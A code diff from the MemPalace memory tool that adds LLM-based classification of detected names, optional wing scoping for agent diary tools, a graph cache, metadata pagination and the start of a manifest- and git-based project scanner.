+  context lines each. Keeps total input to ~50-100K tokens even for huge
+  prose corpora.
+
+Public:
+    refine_entities(detected, corpus_text, provider, ...) -> dict
+"""
+
+from __future__ import annotations
+
+import json
+import re
+import sys
+from dataclasses import dataclass
+
+from mempalace.llm_client import LLMError, LLMProvider
+
+
+BATCH_SIZE = 25  # candidates per LLM call; tuned for 4B local models
+CONTEXT_LINES_PER_CANDIDATE = 3
+CONTEXT_WINDOW_CHARS = 240  # max chars per context line to keep tokens bounded
+
+# Valid labels the LLM is allowed to return. Anything else is treated as
+# AMBIGUOUS so the user reviews it.
+VALID_LABELS = {"PERSON", "PROJECT", "TOPIC", "COMMON_WORD", "AMBIGUOUS"}
+
+
+SYSTEM_PROMPT = """You are helping organize a user's memory palace by classifying capitalized tokens found in their files.
+
+For each candidate, pick exactly ONE label:
+- PERSON: a specific real person the user knows (colleague, family, character they write about)
+- PROJECT: a named product, codebase, or effort the user works on
+- TOPIC: a recurring theme or subject (not a person, not a project) — cities, technologies, concepts
+- COMMON_WORD: an English word, verb, or fragment that isn't a named entity at all (e.g. "Created", "Before", "Never")
+- AMBIGUOUS: context is insufficient to decide between two of the above
+
+Frameworks, runtimes, APIs, cloud services, vendors, and third-party products
+(e.g. Angular, OpenAPI, Terraform, Bun, Google) are TOPIC unless the context
+clearly says this is the user's own named codebase, product, or active effort.
+
+Use the provided context lines to disambiguate. A capitalized word that only appears in metadata ("Created: 2026-04-24") is COMMON_WORD. A name that appears with pronouns and dialogue is PERSON.
+
+Respond with JSON only. Schema:
+{"classifications": [{"name": "<exact candidate name>", "label": "<LABEL>", "reason": "<one short sentence>"}]}
+
+One entry per candidate, same order as the input."""
+
+
+@dataclass
+class RefineResult:
+    merged: dict  # updated detected dict
+    reclassified: int  # entries whose type changed
+    dropped: int  # entries removed from the merged result (COMMON_WORD only)
+    errors: list[str]  # per-batch error messages (transport/parse failures)
+    batches_completed: int
+    batches_total: int
+    cancelled: bool
+
+
+def _collect_contexts(
+    corpus_lines: list[str], name: str, max_lines: int = CONTEXT_LINES_PER_CANDIDATE
+) -> list[str]:
+    """Return up to `max_lines` distinct lines from the corpus that mention `name`.
+
+    Case-insensitive token-boundary match. Lines are truncated to
+    CONTEXT_WINDOW_CHARS chars to keep token usage bounded.
+    """
+    needle = re.compile(rf"(?<!\w){re.escape(name)}(?!\w)", re.IGNORECASE)
+    seen: set[str] = set()
+    out: list[str] = []
+    for line in corpus_lines:
+        if not needle.search(line):
+            continue
+        trimmed = line.strip()[:CONTEXT_WINDOW_CHARS]
+        if not trimmed or trimmed in seen:
+            continue
+        seen.add(trimmed)
+        out.append(trimmed)
+        if len(out) >= max_lines:
+            break
+    return out
+
+
+def _build_user_prompt(candidates_with_contexts: list[tuple[str, str, list[str]]]) -> str:
+    """Shape: for each candidate, list its current type guess + sampled contexts."""
+    parts: list[str] = ["CANDIDATES:"]
+    for i, (name, current_type, contexts) in enumerate(candidates_with_contexts, 1):
+        parts.append(f"\n{i}. {name}  (currently: {current_type})")
+        if contexts:
+            for c in contexts:
+                parts.append(f"   > {c}")
+        else:
+            parts.append("   > (no context available)")
+    return "\n".join(parts)
+
+
+def _extract_json_candidates(text: str) -> list[str]:
+    """Return plausible JSON payloads extracted from an LLM response."""
+    text = text.strip()
+    if not text:
+        return []
+
+    candidates: list[str] = [text]
+
+    for match in re.finditer(r"```(?:json)?\s*([\s\S]*?)\s*```", text, re.IGNORECASE):
+        candidate = match.group(1).strip()
+        if candidate and candidate not in candidates:
+            candidates.append(candidate)
+
+    for start, opener in ((i, ch) for i, ch in enumerate(text) if ch in "{["):
+        closer = "}" if opener == "{" else "]"
+        depth = 0
+        in_string = False
+        escaped = False
+        for i in range(start, len(text)):
+            ch = text[i]
+            if in_string:
+                if escaped:
+                    escaped = False
+                elif ch == "\\":
+                    escaped = True
+                elif ch == '"':
+                    in_string = False
+                continue
+
+            if ch == '"':
+                in_string = True
+            elif ch == opener:
+                depth += 1
+            elif ch == closer:
+                depth -= 1
+                if depth == 0:
+                    candidate = text[start : i + 1].strip()
+                    if candidate and candidate not in candidates:
+                        candidates.append(candidate)
+                    break
+
+    return candidates
+
+
+def _parse_response(text: str, expected_names: list[str]) -> dict[str, tuple[str, str]]:
+    """Parse the LLM's JSON response into {name: (label, reason)}.
+
+    Robust to the model occasionally wrapping JSON in text or returning
+    slight schema variations. Falls back to matching by candidate name.
+    """
+    data = None
+    for candidate in _extract_json_candidates(text):
+        try:
+            data = json.loads(candidate)
+            break
+        except json.JSONDecodeError:
+            continue
+    if data is None:
+        return {}
+
+    entries = data.get("classifications") if isinstance(data, dict) else data
+    if not isinstance(entries, list):
+        return {}
+
+    name_to_label: dict[str, tuple[str, str]] = {}
+    expected_set = {n.lower(): n for n in expected_names}
+    for entry in entries:
+        if not isinstance(entry, dict):
+            continue
+        name = entry.get("name") or entry.get("candidate")
+        label = entry.get("label") or entry.get("type") or entry.get("classification")
+        reason = entry.get("reason") or ""
+        if not isinstance(name, str) or not isinstance(label, str):
+            continue
+        # Restore canonical casing from expected_names
+        canonical = expected_set.get(name.lower(), name)
+        lbl = label.strip().upper()
+        if lbl not in VALID_LABELS:
+            lbl = "AMBIGUOUS"
+        name_to_label[canonical] = (lbl, reason.strip()[:120])
+    return name_to_label
+
+
+def _apply_classifications(
+    detected: dict,
+    decisions: dict[str, tuple[str, str]],
+    allow_project_promotions: bool = True,
+) -> tuple[dict, int, int]:
+    """Merge LLM decisions back into the detected dict.
+
+    Returns (new_detected, reclassified_count, dropped_count).
+    """
+    label_to_bucket = {
+        "PERSON": "people",
+        "PROJECT": "projects",
+        "TOPIC": "uncertain",
+        "AMBIGUOUS": "uncertain",
+    }
+
+    # Index every entity by name for in-place update
+    all_entries: list[tuple[str, dict]] = []
+    for bucket, items in detected.items():
+        for e in items:
+            all_entries.append((bucket, e))
+
+    reclassified = 0
+    dropped = 0
+    new_detected: dict[str, list[dict]] = {
+        "people": [],
+        "projects": [],
+        "uncertain": [],
+    }
+
+    for old_bucket, entry in all_entries:
+        decision = decisions.get(entry["name"])
+        if decision is None:
+            # No LLM opinion — keep as-is
+            new_detected[old_bucket].append(entry)
+            continue
+
+        label, reason = decision
+        if label == "COMMON_WORD":
+            dropped += 1
+            continue
+
+        target_bucket = label_to_bucket[label]
+        if (
+            label == "PROJECT"
+            and not allow_project_promotions
+            and not _is_authoritative_project(entry)
+        ):
+            target_bucket = "uncertain"
+        updated = dict(entry)
+        # Append the LLM's reason as a new signal so the user sees why it moved
+        signals = list(updated.get("signals", []))
+        signals.append(f"LLM: {label.lower()} — {reason}" if reason else f"LLM: {label.lower()}")
+        updated["signals"] = signals
+        if target_bucket != old_bucket:
+            reclassified += 1
+            updated["type"] = (
+                "person"
+                if target_bucket == "people"
+                else "project"
+                if target_bucket == "projects"
+                else "uncertain"
+            )
+        new_detected[target_bucket].append(updated)
+
+    return new_detected, reclassified, dropped
+
+
+def _is_authoritative_person(entry: dict) -> bool:
+    """Return True for git-author people that should not be second-guessed."""
+    signals = " ".join(entry.get("signals", [])).lower()
+    return "commit" in signals and "repo" in signals
+
+
+def _is_authoritative_project(entry: dict) -> bool:
+    """Return True for manifest/git-backed projects that are already source-backed."""
+    signals = " ".join(entry.get("signals", [])).lower()
+    manifest_markers = ("package.json", "pyproject.toml", "cargo.toml", "go.mod")
+    return any(marker in signals for marker in manifest_markers) or "commit" in signals
+
+
+def _print_progress(batch_idx: int, total: int, current_name: str) -> None:
+    """Overwrite-line progress indicator."""
+    width = 40
+    filled = int(width * batch_idx / total) if total else 0
+    bar = "█" * filled + "░" * (width - filled)
+    msg = f"\r  LLM refine: [{bar}] batch {batch_idx}/{total}  current: {current_name[:30]:<30}"
+    sys.stderr.write(msg)
+    sys.stderr.flush()
+
+
+def refine_entities(
+    detected: dict,
+    corpus_text: str,
+    provider: LLMProvider,
+    batch_size: int = BATCH_SIZE,
+    show_progress: bool = True,
+    allow_project_promotions: bool = True,
+) -> RefineResult:
+    """Reclassify detected entities using the LLM provider.
+
+    Only regex-derived candidates are sent for refinement. Git authors and
+    manifest/git-backed projects are already source-backed and don't benefit
+    from LLM second-guessing.
+
+    Ctrl-C during refinement: cancels the remaining batches, returns a
+    RefineResult with ``cancelled=True`` and whatever was classified before
+    the interrupt. The partial result is safe to pass straight to
+    ``confirm_entities``.
+
+    Transport or parse failures in individual batches are recorded in
+    ``errors`` and do not abort the run.
+
+    ``allow_project_promotions=False`` keeps LLM-only project guesses in the
+    uncertain bucket. This is useful when manifest/git signal already supplied
+    canonical projects and regex/LLM hits are likely tools, vendors, or topics.
+    """
+    candidates: list[tuple[str, str]] = []
+    current_type = {"people": "person", "projects": "project", "uncertain": "uncertain"}
+    for bucket in ("people", "projects", "uncertain"):
+        for e in detected.get(bucket, []):
+            if bucket == "people" and _is_authoritative_person(e):
+                continue
+            if bucket == "projects" and _is_authoritative_project(e):
+                continue
+            candidates.append((e["name"], current_type[bucket]))
+
+    corpus_lines = corpus_text.splitlines() if corpus_text else []
+
+    # Deduplicate candidate names while preserving order
+    seen: set[str] = set()
+    unique: list[tuple[str, str]] = []
+    for name, kind in candidates:
+        if name not in seen:
+            seen.add(name)
+            unique.append((name, kind))
+
+    if not unique:
+        return RefineResult(
+            merged=detected,
+            reclassified=0,
+            dropped=0,
+            errors=[],
+            batches_completed=0,
+            batches_total=0,
+            cancelled=False,
+        )
+
+    # Build batches
+    batches: list[list[tuple[str, str, list[str]]]] = []
+    for i in range(0, len(unique), batch_size):
+        chunk = unique[i : i + batch_size]
+        enriched = [(name, kind, _collect_contexts(corpus_lines, name)) for name, kind in chunk]
+        batches.append(enriched)
+
+    all_decisions: dict[str, tuple[str, str]] = {}
+    errors: list[str] = []
+    completed = 0
+    cancelled = False
+
+    for idx, batch in enumerate(batches, 1):
+        if show_progress and batch:
+            _print_progress(idx - 1, len(batches), batch[0][0])
+        user_prompt = _build_user_prompt(batch)
+        try:
+            resp = provider.classify(SYSTEM_PROMPT, user_prompt, json_mode=True)
+        except KeyboardInterrupt:
+            cancelled = True
+            break
+        except LLMError as e:
+            errors.append(f"batch {idx}: {e}")
+            continue
+        names_in_batch = [name for name, _, _ in batch]
+        decisions = _parse_response(resp.text, names_in_batch)
+        if not decisions:
+            errors.append(f"batch {idx}: could not parse response")
+        all_decisions.update(decisions)
+        completed += 1
+        if show_progress:
+            _print_progress(idx, len(batches), batch[-1][0])
+
+    if show_progress:
+        sys.stderr.write("\n")
+        sys.stderr.flush()
+
+    merged, reclassified, dropped = _apply_classifications(
+        detected,
+        all_decisions,
+        allow_project_promotions=allow_project_promotions,
+    )
+
+    return RefineResult(
+        merged=merged,
+        reclassified=reclassified,
+        dropped=dropped,
+        errors=errors,
+        batches_completed=completed,
+        batches_total=len(batches),
+        cancelled=cancelled,
+    )
+
+
+def collect_corpus_text(
+    project_dir: str,
+    max_files: int = 30,
+    max_bytes_per_file: int = 20_000,
+) -> str:
+    """Gather prose text from ``project_dir`` for use as LLM context source.
+
+    Stratified: reads up to ``max_files`` prose files (``.md``, ``.txt``,
+    ``.rst``), preferring recently-modified. Each file capped at
+    ``max_bytes_per_file`` to bound total input.
+    """
+    from pathlib import Path
+
+    from mempalace.entity_detector import PROSE_EXTENSIONS, SKIP_DIRS
+
+    root = Path(project_dir).expanduser().resolve()
+    if not root.is_dir():
+        return ""
+    candidates: list[tuple[float, Path]] = []
+    for dirpath, dirs, files in _walk_prose(root, SKIP_DIRS):
+        for fname in files:
+            p = dirpath / fname
+            if p.suffix.lower() not in PROSE_EXTENSIONS:
+                continue
+            try:
+                mtime = p.stat().st_mtime
+            except OSError:
+                continue
+            candidates.append((mtime, p))
+    candidates.sort(reverse=True)
+    selected = [p for _, p in candidates[:max_files]]
+    chunks: list[str] = []
+    for p in selected:
+        try:
+            with open(p, encoding="utf-8", errors="replace") as f:
+                chunks.append(f.read(max_bytes_per_file))
+        except OSError:
+            continue
+    return "\n".join(chunks)
+
+
+def _walk_prose(root, skip_dirs):
+    """Walk a directory yielding (Path, dirs, files), pruning skip_dirs.
+
+    Inlined from ``project_scanner._walk`` to avoid a private-name import
+    coupling. Functionality is intentionally narrow: prose collection only.
+    """
+    import os
+    from pathlib import Path
+
+    for dirpath, dirs, files in os.walk(root):
+        dirs[:] = [d for d in dirs if d not in skip_dirs and not d.startswith(".")]
+        yield Path(dirpath), dirs, files

mempalace/mcp_server.py

@@ -2,7 +2,7 @@
 """
 MemPalace MCP Server — read/write palace access for Claude Code
 ================================================================
-Install: claude mcp add mempalace -- python -m mempalace.mcp_server [--palace /path/to/palace]
+Install: claude mcp add mempalace -- mempalace-mcp [--palace /path/to/palace]
 
 Tools (read):
   mempalace_status          — total drawers, wing/room breakdown
@@ -285,7 +285,7 @@ def _get_cached_metadata(col, where=None):
 
 def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str:
     """Validate optional wing/room-style filters."""
-    if value is None:
+    if value is None or not value.strip():
         return None
     return sanitize_name(value, field_name)
 
@@ -315,6 +315,7 @@ def tool_status():
     try:
         all_meta = _get_cached_metadata(col)
         for m in all_meta:
+            m = m or {}
             w = m.get("wing", "unknown")
             r = m.get("room", "unknown")
             wings[w] = wings.get(w, 0) + 1
@@ -368,6 +369,7 @@ def tool_list_wings():
     try:
         all_meta = _get_cached_metadata(col)
         for m in all_meta:
+            m = m or {}
             w = m.get("wing", "unknown")
             wings[w] = wings.get(w, 0) + 1
     except Exception as e:
@@ -391,6 +393,7 @@ def tool_list_rooms(wing: str = None):
         where = {"wing": wing} if wing else None
         all_meta = _fetch_all_metadata(col, where=where)
         for m in all_meta:
+            m = m or {}
             r = m.get("room", "unknown")
             rooms[r] = rooms.get(r, 0) + 1
     except Exception as e:
@@ -409,6 +412,7 @@ def tool_get_taxonomy():
     try:
         all_meta = _get_cached_metadata(col)
         for m in all_meta:
+            m = m or {}
             w = m.get("wing", "unknown")
             r = m.get("room", "unknown")
             if w not in taxonomy:
@@ -914,10 +918,10 @@ def tool_kg_stats():
 # ==================== AGENT DIARY ====================
 
 
-def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
+def tool_diary_write(agent_name: str, entry: str, topic: str = "general", wing: str = ""):
     """
-    Write a diary entry for this agent. Each agent gets its own wing
-    with a diary room. Entries are timestamped and accumulate over time.
+    Write a diary entry for this agent. Entries are timestamped and
+    accumulate over time in a diary room.
 
     This is the agent's personal journal — observations, thoughts,
     what it worked on, what it noticed, what it thinks matters.
@@ -928,7 +932,10 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
     except ValueError as e:
         return {"success": False, "error": str(e)}
 
-    wing = f"wing_{agent_name.lower().replace(' ', '_')}"
+    if wing:
+        wing = sanitize_name(wing)
+    else:
+        wing = f"wing_{agent_name.lower().replace(' ', '_')}"
     room = "diary"
     col = _get_collection(create=True)
     if not col:
@@ -983,24 +990,38 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
         return {"success": False, "error": str(e)}
 
 
-def tool_diary_read(agent_name: str, last_n: int = 10):
+def tool_diary_read(agent_name: str, last_n: int = 10, wing: str = ""):
     """
     Read an agent's recent diary entries. Returns the last N entries
     in chronological order — the agent's personal journal.
+
+    When ``wing`` is provided, reads only from that wing. When ``wing``
+    is empty or omitted, returns entries from every wing this agent has
+    written to. Diary writes from hooks land in project-derived wings
+    (``wing_<project>``), so requiring a specific wing on read would
+    silo those entries from agent-initiated reads.
     """
     try:
         agent_name = sanitize_name(agent_name, "agent_name")
+        if wing:
+            wing = sanitize_name(wing)
     except ValueError as e:
         return {"error": str(e)}
     last_n = max(1, min(last_n, 100))
-    wing = f"wing_{agent_name.lower().replace(' ', '_')}"
     col = _get_collection()
     if not col:
         return _no_palace()
 
+    # Build filter: always scope by agent + room=diary. Wing is optional —
+    # when empty, return entries across all wings for this agent (matches
+    # the #1097 empty-string-as-no-filter convention for LLM ergonomics).
+    conditions = [{"room": "diary"}, {"agent": agent_name}]
+    if wing:
+        conditions.insert(0, {"wing": wing})
+
     try:
         results = col.get(
-            where={"$and": [{"wing": wing}, {"room": "diary"}]},
+            where={"$and": conditions},
             include=["documents", "metadatas"],
             limit=10000,
         )
@@ -1493,6 +1514,10 @@ TOOLS = {
                     "type": "string",
                     "description": "Topic tag (optional, default: general)",
                 },
+                "wing": {
+                    "type": "string",
+                    "description": "Target wing for this diary entry (optional). If omitted, uses wing_{agent_name}. Use this to write diary entries to a project wing instead of an agent-specific wing.",
+                },
             },
             "required": ["agent_name", "entry"],
         },
@@ -1511,6 +1536,10 @@ TOOLS = {
                     "type": "integer",
                     "description": "Number of recent entries to read (default: 10)",
                 },
+                "wing": {
+                    "type": "string",
+                    "description": "Wing to read diary entries from (optional). If omitted, reads from wing_{agent_name}.",
+                },
             },
             "required": ["agent_name"],
         },

mempalace/migrate.py

@@ -7,8 +7,10 @@ Reads documents and metadata directly from the palace's SQLite database
 then re-imports everything into a fresh palace using the currently installed
 ChromaDB version.
 
-This fixes the 3.0.0 → 3.1.0 upgrade path where chromadb was downgraded
-from 1.5.x to 0.6.x, breaking the on-disk storage format.
+Since mempalace 3.2.0 (chromadb>=1.5.4), chromadb automatically migrates
+0.4.1+ databases on first open — no manual migration needed for upgrades.
+Use this command only when downgrading chromadb (e.g. rolling back to an
+older mempalace release) or if automatic migration fails.
 
 Usage:
     mempalace migrate                          # migrate default palace

mempalace/miner.py

@@ -36,6 +36,7 @@ READABLE_EXTENSIONS = {
     ".jsx",
     ".tsx",
     ".json",
+    ".jsonl",
     ".yaml",
     ".yml",
     ".html",
@@ -51,6 +52,7 @@ READABLE_EXTENSIONS = {
 }
 
 SKIP_FILENAMES = {
+    "entities.json",
     "mempalace.yaml",
     "mempalace.yml",
     "mempal.yaml",
@@ -62,7 +64,14 @@ SKIP_FILENAMES = {
 CHUNK_SIZE = 800  # chars per drawer
 CHUNK_OVERLAP = 100  # overlap between chunks
 MIN_CHUNK_SIZE = 50  # skip tiny chunks
-MAX_FILE_SIZE = 10 * 1024 * 1024  # 10 MB — skip files larger than this
+MAX_FILE_SIZE = 500 * 1024 * 1024  # 500 MB — skip files larger than this.
+# Long Claude Code sessions and large transcript exports routinely exceed
+# 10 MB. The cap exists as a defensive rail against pathological binary
+# files, not as a limit on legitimate text. Per-drawer size is bounded
+# by CHUNK_SIZE, but larger sources still produce proportionally more
+# drawers and therefore more storage, embedding, and processing work —
+# and file reads are not streamed (the whole content is loaded into
+# memory before chunking), so memory use scales with source size too.
 
 
 # =============================================================================
@@ -463,6 +472,97 @@ def _load_known_entities_raw() -> dict:
     return dict(_ENTITY_REGISTRY_CACHE["raw"])
 
 
+def add_to_known_entities(entities_by_category: dict) -> str:
+    """Union ``entities_by_category`` into ``~/.mempalace/known_entities.json``.
+
+    Accepts ``{category: [names]}`` shape as produced by ``mempalace init``
+    and merges into the registry the miner reads at mine time. Existing
+    categories are preserved untouched unless also present in the input;
+    for categories present in both, entries are unioned case-insensitively
+    without changing the on-disk ordering of pre-existing names.
+
+    If a category is stored on-disk as ``{name: code}`` (the alternate
+    miner-supported shape, used by dialect-style configs), new names are
+    added as keys with ``None`` values so existing code mappings aren't
+    overwritten. A later compress pass can assign codes.
+
+    The in-process cache is invalidated on write so same-process callers
+    (notably ``cmd_init`` → ``cmd_mine`` in sequence) see the update
+    immediately instead of waiting for a mtime re-check.
+
+    Returns the registry path as a string for logging.
+    """
+    import json as _json
+    from pathlib import Path as _Path
+
+    registry_path = _Path(_ENTITY_REGISTRY_PATH)
+    registry_path.parent.mkdir(parents=True, exist_ok=True)
+
+    existing: dict = {}
+    if registry_path.exists():
+        try:
+            loaded = _json.loads(registry_path.read_text(encoding="utf-8"))
+            if isinstance(loaded, dict):
+                existing = loaded
+        except (_json.JSONDecodeError, OSError):
+            existing = {}
+
+    def _coerce_name(value):
+        if not value:
+            return None
+        name = str(value)
+        return name if name else None
+
+    for category, names in entities_by_category.items():
+        if not isinstance(names, list) or not names:
+            continue
+        current = existing.get(category)
+        if isinstance(current, list):
+            seen_lower = {str(n).lower() for n in current}
+            for n in names:
+                name = _coerce_name(n)
+                if not name:
+                    continue
+                if name.lower() not in seen_lower:
+                    current.append(name)
+                    seen_lower.add(name.lower())
+        elif isinstance(current, dict):
+            seen_lower = {str(name).lower() for name in current}
+            for n in names:
+                name = _coerce_name(n)
+                if not name or name.lower() in seen_lower:
+                    continue
+                current[name] = None
+                seen_lower.add(name.lower())
+        else:
+            # Missing or unrecognized shape — seed as a fresh list, deduped
+            seen: set = set()
+            ordered: list = []
+            for n in names:
+                name = _coerce_name(n)
+                if not name:
+                    continue
+                key = name.lower()
+                if key in seen:
+                    continue
+                seen.add(key)
+                ordered.append(name)
+            existing[category] = ordered
+
+    registry_path.write_text(_json.dumps(existing, indent=2, ensure_ascii=False), encoding="utf-8")
+    try:
+        registry_path.chmod(0o600)
+    except (OSError, NotImplementedError):
+        pass
+
+    # Invalidate in-process cache so later calls in the same run see the write.
+    _ENTITY_REGISTRY_CACHE["mtime"] = None
+    _ENTITY_REGISTRY_CACHE["names"] = frozenset()
+    _ENTITY_REGISTRY_CACHE["raw"] = {}
+
+    return str(registry_path)
+
+
 _HALL_KEYWORDS_CACHE = None
 
 
@@ -604,7 +704,7 @@ def process_file(
     chunks = chunk_text(content, source_file)
 
     if dry_run:
-        print(f"    [DRY RUN] {filepath.name} → room:{room} ({len(chunks)} drawers)")
+        print(f"    [DRY RUN] {filepath.name} -> room:{room} ({len(chunks)} drawers)")
         return len(chunks), room
 
     # Lock this file so concurrent agents don't interleave delete+insert.
@@ -781,7 +881,7 @@ def mine(
         print("  .gitignore: DISABLED")
     if include_ignored:
         print(f"  Include: {', '.join(sorted(normalize_include_paths(include_ignored)))}")
-    print(f"{'─' * 55}\n")
+    print(f"{'-' * 55}\n")
 
     if not dry_run:
         collection = get_collection(palace_path)
@@ -811,7 +911,7 @@ def mine(
             total_drawers += drawers
             room_counts[room] += 1
             if not dry_run:
-                print(f"  ✓ [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
+                print(f"  + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
 
     print(f"\n{'=' * 55}")
     print("  Done.")
@@ -839,17 +939,24 @@ def status(palace_path: str):
         print("  Run: mempalace init <dir> then mempalace mine <dir>")
         return
 
-    # Count by wing and room
+    # Count by wing and room — paginate to avoid SQLite "too many SQL
+    # variables" error on large palaces (see #802, #850).
     total = col.count()
-    r = col.get(limit=total, include=["metadatas"]) if total else {"metadatas": []}
-    metas = r["metadatas"]
-
-    wing_rooms = defaultdict(lambda: defaultdict(int))
-    for m in metas:
-        wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
+    wing_rooms: dict = defaultdict(lambda: defaultdict(int))
+    batch_size = 5000
+    offset = 0
+    while offset < total:
+        r = col.get(limit=batch_size, offset=offset, include=["metadatas"])
+        batch = r["metadatas"]
+        if not batch:
+            break
+        for m in batch:
+            m = m or {}
+            wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
+        offset += len(batch)
 
     print(f"\n{'=' * 55}")
-    print(f"  MemPalace Status — {len(metas)} drawers")
+    print(f"  MemPalace Status — {total} drawers")
     print(f"{'=' * 55}\n")
     for wing, rooms in sorted(wing_rooms.items()):
         print(f"  WING: {wing}")

mempalace/palace_graph.py

@@ -18,6 +18,8 @@ No external graph DB needed — built from ChromaDB metadata.
 import hashlib
 import json
 import os
+import threading
+import time
 from collections import Counter, defaultdict
 from datetime import datetime, timezone
 
@@ -25,6 +27,23 @@ from .config import MempalaceConfig
 from .palace import get_collection as _get_palace_collection
 from .palace import mine_lock
 
+# Module-level graph cache with TTL and write-invalidation.
+# Warm cache serves build_graph() in O(1); invalidate_graph_cache() clears on writes.
+_graph_cache_lock = threading.Lock()
+_graph_cache_nodes = None
+_graph_cache_edges = None
+_graph_cache_time = 0.0
+_GRAPH_CACHE_TTL = 60.0  # seconds — graph changes less often than metadata
+
+
+def invalidate_graph_cache():
+    """Clear the graph cache. Called from mcp_server.py on writes."""
+    global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time
+    with _graph_cache_lock:
+        _graph_cache_nodes = None
+        _graph_cache_edges = None
+        _graph_cache_time = 0.0
+
 
 def _get_collection(config=None):
     config = config or MempalaceConfig()
@@ -42,10 +61,25 @@ def build_graph(col=None, config=None):
     """
     Build the palace graph from ChromaDB metadata.
 
+    Returns cached result if fresh (within TTL). Cache is invalidated
+    on writes via invalidate_graph_cache(). Thread-safe via _graph_cache_lock.
+
+    Note: warm cache ignores ``col`` and ``config`` arguments — this is
+    intentional for the MCP server's single-palace use case. Callers
+    switching collections should call ``invalidate_graph_cache()`` first.
+
     Returns:
         nodes: dict of {room: {wings: set, halls: set, count: int}}
         edges: list of {room, wing_a, wing_b, hall} — one per tunnel crossing
     """
+    global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time
+    now = time.time()
+    # NOTE: warm cache ignores col/config args — intentional for the MCP server's
+    # single-palace use case. Callers switching collections must invalidate first.
+    with _graph_cache_lock:
+        if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL:
+            return _graph_cache_nodes, _graph_cache_edges
+
     if col is None:
         col = _get_collection(config)
     if not col:
@@ -101,6 +135,14 @@ def build_graph(col=None, config=None):
             "dates": sorted(data["dates"])[-5:] if data["dates"] else [],
         }
 
+    # Only cache non-empty graphs so new data is picked up immediately
+    # when the palace is first populated.
+    if nodes:
+        with _graph_cache_lock:
+            _graph_cache_nodes = nodes
+            _graph_cache_edges = edges
+            _graph_cache_time = time.time()
+
     return nodes, edges
 
 

mempalace/project_scanner.py

@@ -0,0 +1,716 @@
+"""
+project_scanner.py — Detect projects and people from real signal.
+
+For a codebase with build manifests or git history, this beats regex-based
+entity detection by a wide margin: the project's own name is already written
+down in package.json / pyproject.toml / Cargo.toml / go.mod, and the people
+who worked on it are in `git log`.
+
+This module is used as the primary signal in `mempalace init`. The regex
+detector in entity_detector.py stays as a fallback for prose-only folders
+(notes, research, writing).
+
+Public:
+    scan(root) -> (projects, people)
+    to_detected_dict(projects, people) -> {people: [...], projects: [...], uncertain: []}
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import subprocess
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Optional
+
+try:
+    import tomllib  # Python 3.11+
+except ImportError:  # pragma: no cover
+    try:
+        import tomli as tomllib  # Python 3.9/3.10 backport
+    except ImportError:
+        tomllib = None  # type: ignore
+
+
+SKIP_DIRS = {
+    ".git",
+    "node_modules",
+    "__pycache__",
+    ".venv",
+    "venv",
+    "env",
+    "dist",
+    "build",
+    ".next",
+    "coverage",
+    ".terraform",
+    "vendor",
+    "target",
+    ".mempalace",
+    ".cache",
+    ".pytest_cache",
+    ".mypy_cache",
+    ".ruff_cache",
+}
+
+MAX_DEPTH = 6
+MAX_COMMITS_PER_REPO = 1000
+GIT_TIMEOUT = 10
+
+
+# ==================== DATACLASSES ====================
+
+
+@dataclass
+class ProjectInfo:
+    name: str
+    repo_root: Path
+    manifest: Optional[str] = None
+    has_git: bool = False
+    total_commits: int = 0
+    user_commits: int = 0
+    is_mine: bool = False
+
+    @property
+    def confidence(self) -> float:
+        if self.is_mine:
+            return 0.99
+        if self.has_git and self.total_commits > 0:
+            return 0.7
+        return 0.85  # manifest-only, no git
+
+    def to_signal(self) -> str:
+        parts: list[str] = []
+        if self.manifest:
+            parts.append(self.manifest)
+        if self.has_git:
+            if self.is_mine and self.user_commits:
+                parts.append(f"{self.user_commits} of your commits")
+            elif self.user_commits:
+                parts.append(f"{self.user_commits}/{self.total_commits} yours")
+            else:
+                parts.append(f"{self.total_commits} commits (none by you)")
+        return ", ".join(parts) or "repo"
+
+
+@dataclass
+class PersonInfo:
+    name: str
+    total_commits: int = 0
+    emails: set[str] = field(default_factory=set)
+    repos: set[str] = field(default_factory=set)
+
+    @property
+    def confidence(self) -> float:
+        if self.total_commits >= 100 or len(self.repos) >= 3:
+            return 0.99
+        if self.total_commits >= 20:
+            return 0.85
+        return 0.65
+
+    def to_signal(self) -> str:
+        r = len(self.repos)
+        return f"{self.total_commits} commit{'s' if self.total_commits != 1 else ''} across {r} repo{'s' if r != 1 else ''}"
+
+
+# ==================== MANIFEST PARSING ====================
+
+
+def _parse_package_json(path: Path) -> Optional[str]:
+    try:
+        data = json.loads(path.read_text(encoding="utf-8", errors="replace"))
+    except (json.JSONDecodeError, OSError):
+        return None
+    name = data.get("name")
+    return name if isinstance(name, str) and name else None
+
+
+def _parse_toml(path: Path) -> dict:
+    if tomllib is None:
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (OSError, tomllib.TOMLDecodeError):
+        return {}
+
+
+def _parse_pyproject(path: Path) -> Optional[str]:
+    data = _parse_toml(path)
+    name = data.get("project", {}).get("name")
+    if isinstance(name, str) and name:
+        return name
+    name = data.get("tool", {}).get("poetry", {}).get("name")
+    return name if isinstance(name, str) and name else None
+
+
+def _parse_cargo(path: Path) -> Optional[str]:
+    data = _parse_toml(path)
+    name = data.get("package", {}).get("name")
+    return name if isinstance(name, str) and name else None
+
+
+def _parse_gomod(path: Path) -> Optional[str]:
+    try:
+        for line in path.read_text(encoding="utf-8", errors="replace").splitlines():
+            line = line.strip()
+            if line.startswith("module "):
+                mod = line.split(None, 1)[1].strip()
+                return mod.split("/")[-1] or None
+    except OSError:
+        return None
+    return None
+
+
+MANIFEST_PRIORITY = {
+    "pyproject.toml": 0,
+    "package.json": 1,
+    "Cargo.toml": 2,
+    "go.mod": 3,
+}
+# Sentinel so unknown manifests always sort after the known manifest types above.
+UNKNOWN_MANIFEST_PRIORITY = max(MANIFEST_PRIORITY.values()) + 1
